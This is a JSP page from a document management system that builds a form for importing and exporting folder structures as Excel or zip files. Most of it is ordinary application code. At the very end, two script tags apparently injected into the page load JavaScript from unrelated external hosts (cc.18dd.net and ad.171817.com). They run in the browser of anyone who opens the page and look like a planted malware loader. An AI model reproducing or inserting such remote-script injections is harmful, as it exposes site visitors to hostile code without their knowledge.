<%
/*
 * @(#)FolderStructureLoader.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  FolderStructureLoader.jsp

  This is a Folder Structure Import page.  It imports an Excel file content to form a tree.

	@author             Tony Lee
	@company            DCIVision Ltd
	@creation date      10/06/2004
	@version            $Revision: 1.20.4.8 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFolderStructureLoaderForm" scope="request" class="com.dcivision.dms.web.MaintFolderStructureLoaderForm"/>

<script language="javascript">
<!--
function OpSave() {
  if (document.maintFolderStructureLoaderForm.uploadFile.value==""){
    alert("<bean:message key='dms.message.choose_file'/>");
    return false;
  }
  if(document.maintFolderStructureLoaderForm.chooseLocation[1].checked){
    if(document.maintFolderStructureLoaderForm.destinationPath.value==null||document.maintFolderStructureLoaderForm.destinationPath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
	  return false;
	}
  }
  document.maintFolderStructureLoaderForm.opMode.value = "I";
  document.maintFolderStructureLoaderForm.navMode.value = "";
  document.maintFolderStructureLoaderForm.submit();
  return(false);
}

function ResultOpExport() {  
  if(document.maintFolderStructureLoaderForm.exportFolderType[1].checked){
    if(document.maintFolderStructureLoaderForm.sourcePath.value==null||document.maintFolderStructureLoaderForm.sourcePath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
	  return false;
	}
  }
  document.maintFolderStructureLoaderForm.opMode.value = "E";
  document.maintFolderStructureLoaderForm.navMode.value = "";
  document.maintFolderStructureLoaderForm.submit();
  return(false);
}

function OpZipSave() {
  if(document.maintFolderStructureLoaderForm.zipChooseLocation[1].checked){
    if(document.maintFolderStructureLoaderForm.zipDestinationPath.value==null||document.maintFolderStructureLoaderForm.zipDestinationPath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
	  return false;
	}
  }
  <%if ("0".equals(maintFolderStructureLoaderForm.getImportZipMode())){
	  %>
    document.maintFolderStructureLoaderForm.opMode.value = "ZIF";
  <%}else{%>
  document.maintFolderStructureLoaderForm.opMode.value = "ZI";
  <%}%>
  document.maintFolderStructureLoaderForm.navMode.value = "";
  loadingTo(null, true);
  document.maintFolderStructureLoaderForm.submit();
  return(false);
}

function ResultOpZipExport() {  
  if(document.maintFolderStructureLoaderForm.zipExportFolderType[1].checked){
    if(document.maintFolderStructureLoaderForm.zipSourcePath.value==null||document.maintFolderStructureLoaderForm.zipSourcePath.value==''){
      alert("<bean:message key='errors.dms.target_location'/>");
	  return false;
	}
  }
  document.maintFolderStructureLoaderForm.opMode.value = "ZE";
  document.maintFolderStructureLoaderForm.navMode.value = "";
  document.maintFolderStructureLoaderForm.submit();
  return(false);
}

<%if ("E".equals(maintFolderStructureLoaderForm.getOpMode())
) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadSearchResultExcel.jsp?ext=.xls";
}
<% } %>

<%if ("ZE".equals(maintFolderStructureLoaderForm.getOpMode())
) {%>
function INIT() {
  window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadSearchResult.jsp?ext=.zip";
}
<% } %>

function ResultOpSelect() {
  document.maintFolderStructureLoaderForm.opMode.value="S";
  document.maintFolderStructureLoaderForm.submit();
  
}
 
-->
</script>

<html:form type="MaintFolderStructureLoaderForm" enctype="multipart/form-data" action="dms/MaintFolderStructureLoader" onsubmit="return(false)" styleClass="form-style-2">
<html:javascript formName="maintFolderStructureLoaderForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%
  String sCurFunctionCode = maintFolderStructureLoaderForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintFolderStructureLoaderForm.getCurFunctionCode();

  String rootID = maintFolderStructureLoaderForm.getRootID();
  String parentID = maintFolderStructureLoaderForm.getParentID();
  String expRootID = maintFolderStructureLoaderForm.getExpRootID();
  String expParentID = maintFolderStructureLoaderForm.getExpRootID();
  String zipRootID = maintFolderStructureLoaderForm.getZipRootID();
  String zipParentID = maintFolderStructureLoaderForm.getZipRootID();
  String expzipRootID = maintFolderStructureLoaderForm.getZipExpRootID();
  String expzipParentID = maintFolderStructureLoaderForm.getZipExpRootID();

  String opMode = maintFolderStructureLoaderForm.getOpMode();
  String navMode = maintFolderStructureLoaderForm.getNavMode();

  String functionType = "dms.label.document_folder_str_loader";

  int numImport = TextUtility.parseInteger(maintFolderStructureLoaderForm.getSelectImport());
  int numExport = TextUtility.parseInteger(maintFolderStructureLoaderForm.getSelectExport());
  int numImportZipMode = TextUtility.parseInteger(maintFolderStructureLoaderForm.getImportZipMode());
  int numExportZipMode = TextUtility.parseInteger(maintFolderStructureLoaderForm.getExportZipMode());
%>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>

<!-- Page Title Section Begin -->
<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    <layout:returnButton returnURL='<%="ListDmsRoot.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </div>
</div>

<div id='generalContainer' class="generalContainer">
		<div class="wrapperContainer-clearfix">
        <div>
<table width="100%">
<layout:sectionHeader name="dms.label.document_folder_str_loader"/>
<tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.message.document_Please_choose_the_import_mode'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
        <html:select property='selectImport' onchange='ResultOpSelect()'>  
          <%// disable zip import function  lee 06/12/18 EIP-1163 %>
          <option value="0" selected="selected"><bean:message key='dms.message.document_Excel_import_mode'/></option>
          <!--        
          <%if(0==numImport){%>
            <option value="0" selected="selected"><bean:message key='dms.message.document_Excel_import_mode'/></option>
            <option value="1"><bean:message key='dms.message.document_Zip_import_mode'/></option>
          <%}%>
          <%if(1==numImport){%>
            <option value="0"><bean:message key='dms.message.document_Excel_import_mode'/></option>
            <option value="1" selected="selected"><bean:message key='dms.message.document_Zip_import_mode'/></option>
		      <%}%>
          -->
        </html:select>
        </td>
	  </tr>
      
    <%if (maintFolderStructureLoaderForm.getSelectImport().equals("0")){%>
	  <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.is_choose_location'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
		  <html:radio property='chooseLocation' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.donnot_choose_location'/></html:radio>
          <html:radio property='chooseLocation' value='<%=GlobalConstant.PRIORITY_LOW%>' onclick ='ResultOpSelect()'><bean:message key='dms.message.is_choose_location'/></html:radio>          
		</td>
	  </tr>

	  
    <%if(GlobalConstant.PRIORITY_LOW.equals(maintFolderStructureLoaderForm.getChooseLocation())){%>
	  <tr>
		<td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
		
		<td class="formFieldSmall">
		  <dms:folderPicker property="destinationPath" hiddenRootID="rootID" hiddenParentID="parentID" hiddenRootIDValue="<%=maintFolderStructureLoaderForm.getRootID()%>" hiddenParentIDValue="<%=maintFolderStructureLoaderForm.getParentID()%>" size="50"/>
		 <br>
		 <!--font class="bodyVerySmall"><bean:message key='dms.message.choose_location'/></font-->
		</td>
	  </tr>
	<%}%>

	  <tr>
	   <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
	   <td class="formFieldSmall" width='75%'>
	   <html:file property="uploadFile" size="25" value="<%=maintFolderStructureLoaderForm.getDocumentName()%>"/>
	   <html:hidden property="documentName"/></td>
	  </tr>

	  <tr>
	   <td class="formLabelSmall" width='25%'><bean:message key="dms.label.download_folder_template"/>:&nbsp;</td>
	   <td class="formFieldSmall" width='75%' height='22'>
	   <html:img src="IconDMSFileExtXLS.gif" /> <a href="FileDownloadServlet?xlsModule=FolderStructureImportTemplate.xls">FolderStructureImportTemplate.xls</a>
	   </td>
	  </tr>

	  <tr>
	   <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
	  </tr>

	  <tr>
     <td></td>
	   <td class="formFieldSmall" >
			<html:standardButton label="common.label.import" onClick="return OpSave()"/>
	   </td>
	  </tr>
   <%}else{%>
     <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.is_choose_location'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
		  <html:radio property='zipChooseLocation' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.donnot_choose_location'/></html:radio>
          <html:radio property='zipChooseLocation' value='<%=GlobalConstant.PRIORITY_LOW%>' onclick ='ResultOpSelect()'><bean:message key='dms.message.is_choose_location'/></html:radio>          
		</td>
	  </tr>

	 <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.message.document_Please_choose_the_zip_mode'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
        <html:select property='importZipMode' onchange ='ResultOpSelect()'>          
          <%if(0==numImportZipMode){%>
            <option value="0" selected="selected"><bean:message key='dms.message.document_Import_include_files_zip_mode'/></option>
            <option value="1"><bean:message key='dms.message.document_Import_folder_only_zip_mode'/></option>
          <%}%>
          <%if(1==numImportZipMode){%>
            <option value="0"><bean:message key='dms.message.document_Import_include_files_zip_mode'/></option>
            <option value="1" selected="selected"><bean:message key='dms.message.document_Import_folder_only_zip_mode'/></option>
		  <%}%>
        </html:select>
		</td>
	  </tr>

	<%if(GlobalConstant.PRIORITY_LOW.equals(maintFolderStructureLoaderForm.getZipChooseLocation())){%>

	  <tr>
		<td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>
		
		<td class="formFieldSmall">
		  <dms:folderPicker property="zipDestinationPath" hiddenRootID="zipRootID" hiddenParentID="zipParentID" hiddenRootIDValue="<%=maintFolderStructureLoaderForm.getRootID()%>" hiddenParentIDValue="<%=maintFolderStructureLoaderForm.getParentID()%>" size="50"/>
		 <br>
		 <!--font class="bodyVerySmall"><bean:message key='dms.message.choose_location'/></font-->
		</td>
	  </tr>
    <%}%>

	  <tr>
	   <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
	   <td class="formFieldSmall" width='75%'>
	   <html:file property="zipUploadFile" size="25" value="<%=maintFolderStructureLoaderForm.getDocumentName()%>"/>
	   <html:hidden property="documentName"/></td>
	  </tr>

	  

	  <tr>
	   <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
	  </tr>

	  <tr>
     <td></td>
	   <td class="formFieldSmall" >
			<html:standardButton label="common.label.import" onClick="return OpZipSave()"/>
	   </td>
	  </tr>
	  <%}%>

<!---export files -------------------------------------------------------------------------------->
<layout:sectionHeader name="dms.label.document_folder_str_export" mandatory="false" />
      <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.message.document_Please_choose_the_export_mode'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
        <html:select property='selectExport' onchange='ResultOpSelect()'>          
          <%if(0==numExport){%>
            <option value="0" selected="selected"><bean:message key='dms.message.document_Excel_export_mode'/></option>
            <option value="1"><bean:message key='dms.message.document_Zip_export_mode'/></option>
          <%}%>
          <%if(1==numExport){%>
            <option value="0"><bean:message key='dms.message.document_Excel_export_mode'/></option>
            <option value="1" selected="selected"><bean:message key='dms.message.document_Zip_export_mode'/></option>
		  <%}%>
        </html:select>
        </td>
	  </tr>


    <%if (maintFolderStructureLoaderForm.getSelectExport().equals("0")){%>
	  <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.document_export_folder'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
		  <html:radio property='exportFolderType' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.select_all_folders'/></html:radio>
          <html:radio property='exportFolderType' value='<%=GlobalConstant.PRIORITY_LOW%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.select_specify_folder'/></html:radio>
          
		</td>
	  </tr>

    <%if(GlobalConstant.PRIORITY_LOW.equals(maintFolderStructureLoaderForm.getExportFolderType())){%>
	  <tr>
		<td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>		
		<td class="formFieldSmall">
		  <dms:folderPicker property="sourcePath" hiddenRootID="expRootID" hiddenParentID="expParentID" hiddenRootIDValue="<%=maintFolderStructureLoaderForm.getExpRootID()%>" hiddenParentIDValue="<%=maintFolderStructureLoaderForm.getExpParentID()%>" size="50"/>
		 <br>
		 <font class="bodyVerySmall"><bean:message key='dms.message.choose_location'/></font>
		</td>
	  </tr>  
	<%}%>

	  <tr>
	   <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
	  </tr>

	  <tr>
     <td> </td>
	   <td class="formFieldSmall" >
	     <html:standardButton label="dms.label.document_exprot" onClick="return ResultOpExport()"/>
	   </td>
	  </tr>

	<%}else{%>
      <tr>
	  <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.document_export_folder'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall">
		  <html:radio property='zipExportFolderType' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.select_all_folders'/></html:radio>
          <html:radio property='zipExportFolderType' value='<%=GlobalConstant.PRIORITY_LOW%>' onclick ='ResultOpSelect()'><bean:message key='dma.message.select_specify_folder'/></html:radio>
          
		</td>
	  </tr>

      <%if(GlobalConstant.PRIORITY_LOW.equals(maintFolderStructureLoaderForm.getZipExportFolderType())){%>
	  <tr>
		<td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.location'/>:&nbsp;</nobr></td>		
		<td class="formFieldSmall">
		  <dms:folderPicker property="zipSourcePath" hiddenRootID="zipExpRootID" hiddenParentID="zipExpParentID" hiddenRootIDValue="<%=maintFolderStructureLoaderForm.getZipExpRootID()%>" hiddenParentIDValue="<%=maintFolderStructureLoaderForm.getZipExpParentID()%>" size="50"/>
		 <br>
		 <font class="bodyVerySmall"><bean:message key='dms.message.choose_location'/></font>
		</td>
	  </tr>  
	  <%}%>

	  <tr>
	   <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='10'/></td>
	  </tr>

	  <tr>
     <td> </td>
	   <td class="formFieldSmall" >
	     <html:standardButton label="dms.label.document_exprot" onClick="return ResultOpZipExport()"/>
	   </td>
	  </tr>
	<%}%>
    </table>
</div>
</div>
</div>
<%
  if (request.getAttribute("resultString") != null) {
    out.println(request.getAttribute("resultString"));
  }
%>

</html:form>
	 

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>